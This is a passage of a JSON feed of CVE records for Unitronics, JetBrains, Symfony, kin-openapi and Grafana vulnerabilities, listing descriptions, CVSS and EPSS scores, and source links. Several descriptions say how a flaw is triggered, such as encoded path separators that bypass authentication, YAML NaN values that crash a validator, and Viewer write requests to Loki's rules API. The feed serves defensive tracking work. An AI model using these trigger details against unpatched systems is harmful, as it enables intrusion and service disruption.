CVE-2026-45452","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45452","type":"primary","publishedAt":"2026-10-15T16:18:11.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45452&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45452, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45451","cveId":"CVE-2026-45451","aliases":[],"kind":"vulnerability","title":": Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.","summary":": Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.","detail":": Improper Authentication vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:11.787Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45451","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.0029,"percentile":0.21327,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45451","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45451","type":"primary","publishedAt":"2026-10-15T16:18:11.787Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45451, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45450","cveId":"CVE-2026-45450","aliases":[],"kind":"vulnerability","title":": Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.","summary":": Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.","detail":": Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:11.617Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45450","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00267,"percentile":0.18689,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45450","type":"primary","publishedAt":"2026-10-15T16:18:11.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45449","cveId":"CVE-2026-45449","aliases":[],"kind":"vulnerability","title":": Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.","summary":": Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.","detail":": Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in Unitronics Unitronics UniStream Pro/UniLogic.\n\nThis issue affects Unitronics UniStream Pro/UniLogic: Unitronics UniStream Pro versions only (B10 / C10) – UniLogic versions prior to 1.41.329.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:18:10.993Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45449","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00821,"percentile":0.57018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-45449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45449","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45449","type":"primary","publishedAt":"2026-10-15T16:18:10.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-45449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-45449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111093","cveId":"CVE-2026-111093","aliases":[],"kind":"vulnerability","title":"In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files","summary":"In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files","detail":"In JetBrains Datalore before 2026.2.1 unauthenticated path traversal via the report blob endpoint allowed reading arbitrary files\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:48.883Z","updatedAt":"2026-10-15T17:17:16.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":["JetBrains TeamCity"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111093","asOf":"2026-10-15T17:17:16.580Z"},"epss":{"probability":0.00373,"percentile":0.30951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111093","type":"primary","publishedAt":"2026-10-15T16:17:48.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111091","cveId":"CVE-2026-111091","aliases":[],"kind":"vulnerability","title":"In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration","summary":"In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration","detail":"In JetBrains Junie CLI before 26.8.3 code execution was possible via an untrusted project's MCP server configuration\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:48.637Z","updatedAt":"2026-10-15T17:17:16.380Z","regions":["Global"],"vendor":null,"product":null,"stacks":["JetBrains TeamCity","MCP servers and SDKs"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111091","asOf":"2026-10-15T17:17:16.380Z"},"epss":{"probability":0.00135,"percentile":0.02943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111091","type":"primary","publishedAt":"2026-10-15T16:17:48.637Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109449","cveId":"CVE-2026-109449","aliases":[],"kind":"vulnerability","title":"In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth.","summary":"In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth. An expression made of tens of thousands of nested unary operators, array literals, binary operators or property accesses crashed the PHP process, while the tree was being freed.\n\n\n#[Assert\\ExpressionSyntax] passes the validated value to ExpressionLanguage::lint(), so an application validating expressions written by its users could be crashed by a single request, and so could any code parsing untrusted expressions.\n\nThis issue affects symfony/expression-language through v5.4.53, v6.0.0-BETA1 through v6.4.47, v7.0.0-BETA1 through v7.4.20, and v8.0.0-BETA1 through v8.1.8.","detail":"In Symfony Expression Language versions prior to 5.4.54, 6.4.48, 7.4.21, and 8.1.9, the parser of the ExpressionLanguage component built its node tree with no bound on its depth. An expression made of tens of thousands of nested unary operators, array literals, binary operators or property accesses crashed the PHP process, while the tree was being freed.\n\n\n#[Assert\\ExpressionSyntax] passes the validated value to ExpressionLanguage::lint(), so an application validating expressions written by its users could be crashed by a single request, and so could any code parsing untrusted expressions.\n\nThis issue affects symfony/expression-language through v5.4.53, v6.0.0-BETA1 through v6.4.47, v7.0.0-BETA1 through v7.4.20, and v8.0.0-BETA1 through v8.1.8.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:43.963Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109449","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00378,"percentile":0.31467,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109449&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109449","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109449","type":"primary","publishedAt":"2026-10-15T16:17:43.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109449&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109449, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100352","cveId":"CVE-2026-100352","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.148.0, the OpenAPI 3.1 validation path passes YAML NaN and infinity numeric values to santhosh-tekuri/jsonschema v6.0.2 without applying kin-openapi's existing finite-number guards. A remote unauthenticated client can send an application/yaml or application/x-yaml request body containing .nan, .inf, or -.inf to an operation with a numeric constraint, causing the dependency to create and dereference a nil big.Rat during ValidateRequest. Standard net/http servers recover the panic per connection, while other hosts or application goroutines may terminate the process. This issue is fixed in version 0.148.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.148.0, the OpenAPI 3.1 validation path passes YAML NaN and infinity numeric values to santhosh-tekuri/jsonschema v6.0.2 without applying kin-openapi's existing finite-number guards. A remote unauthenticated client can send an application/yaml or application/x-yaml request body containing .nan, .inf, or -.inf to an operation with a numeric constraint, causing the dependency to create and dereference a nil big.Rat during ValidateRequest. Standard net/http servers recover the panic per connection, while other hosts or application goroutines may terminate the process. This issue is fixed in version 0.148.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:31.307Z","updatedAt":"2026-10-20T03:17:11.190Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100352","asOf":"2026-10-20T03:17:11.190Z"},"epss":{"probability":0.00595,"percentile":0.48133,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100352","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100352","type":"primary","publishedAt":"2026-10-15T16:17:31.307Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100351","cveId":"CVE-2026-100351","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. From 0.144.0 until 0.147.0, openapi3filter.ValidationHandler validates an operation selected from decoded URL.Path while a downstream gorilla/mux router configured with UseEncodedPath can dispatch a different operation selected from URL.RawPath. When a public exact route and a protected parameterized route use the same method and overlap after decoding, an unauthenticated remote request containing an encoded path separator can be validated as public and then dispatched to the protected handler without invoking the configured AuthenticationFunc. The reachable path parameter is constrained to an encoded representation that decodes to the public literal route, and proxies that canonicalize the URI before forwarding prevent this specific mismatch. This issue is fixed in version 0.147.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. From 0.144.0 until 0.147.0, openapi3filter.ValidationHandler validates an operation selected from decoded URL.Path while a downstream gorilla/mux router configured with UseEncodedPath can dispatch a different operation selected from URL.RawPath. When a public exact route and a protected parameterized route use the same method and overlap after decoding, an unauthenticated remote request containing an encoded path separator can be validated as public and then dispatched to the protected handler without invoking the configured AuthenticationFunc. The reachable path parameter is constrained to an encoded representation that decodes to the public literal route, and proxies that canonicalize the URI before forwarding prevent this specific mismatch. This issue is fixed in version 0.147.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:31.110Z","updatedAt":"2026-10-15T17:17:07.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100351","asOf":"2026-10-15T17:17:07.520Z"},"epss":{"probability":0.00488,"percentile":0.41741,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100351","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100351","type":"primary","publishedAt":"2026-10-15T16:17:31.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100349","cveId":"CVE-2026-100349","aliases":[],"kind":"vulnerability","title":"kin-openapi is a Go project for handling OpenAPI files.","summary":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.","detail":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.146.0, openapi3filter.ValidateResponse passes a nil response header schema to decodeValue when an OpenAPI document declares the header with content instead of schema. The document passes validation, but every response validation for the affected operation dereferences the nil schema and panics even when the response does not contain the declared header. Applications that ingest an untrusted specification can expose this as remote availability impact, while applications using only trusted local specifications still crash when the affected operation is exercised. This issue is fixed in version 0.146.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T16:17:30.640Z","updatedAt":"2026-10-16T18:17:10.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-100349","asOf":"2026-10-16T18:17:10.350Z"},"epss":{"probability":0.00372,"percentile":0.30825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-100349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-100349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100349","type":"primary","publishedAt":"2026-10-15T16:17:30.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-100349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-100349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9703","cveId":"CVE-2026-9703","aliases":[],"kind":"vulnerability","title":"Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources.","summary":"Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources. A user holding only the Viewer role on an affected Grafana instance could send POST, PUT and DELETE requests through the proxy to the Loki rules API (/loki/api/v1/rules), allowing them to create, modify and delete Loki alerting rules. Because those rules are stored by Loki rather than by Grafana, the change took effect for every user of that Loki data source, not only for the Viewer who made the request.\n\nExploitation requires an authenticated Viewer account on the Grafana instance and a configured Loki data source; no other privileges are needed. Both Grafana OSS and Grafana Enterprise are affected. The defect is in Grafana's data source proxy; Loki itself is not vulnerable and does not need to be patched.","detail":"Grafana's data source proxy did not apply role-based access control to write requests forwarded to Loki data sources. A user holding only the Viewer role on an affected Grafana instance could send POST, PUT and DELETE requests through the proxy to the Loki rules API (/loki/api/v1/rules), allowing them to create, modify and delete Loki alerting rules. Because those rules are stored by Loki rather than by Grafana, the change took effect for every user of that Loki data source, not only for the Viewer who made the request.\n\nExploitation requires an authenticated Viewer account on the Grafana instance and a configured Loki data source; no other privileges are needed. Both Grafana OSS and Grafana Enterprise are affected. The defect is in Grafana's data source proxy; Loki itself is not vulnerable and does not need to be patched.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:39.180Z","updatedAt":"2026-10-16T20:02:37.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Grafana"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-9703","asOf":"2026-10-16T20:02:37.630Z"},"epss":{"probability":0.00195,"percentile":0.0906,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9703&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-9703","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-9703","type":"primary","publishedAt":"2026-10-15T15:17:39.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9703&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9703, scored 2026-10-25. This is a model estimate, not proof of 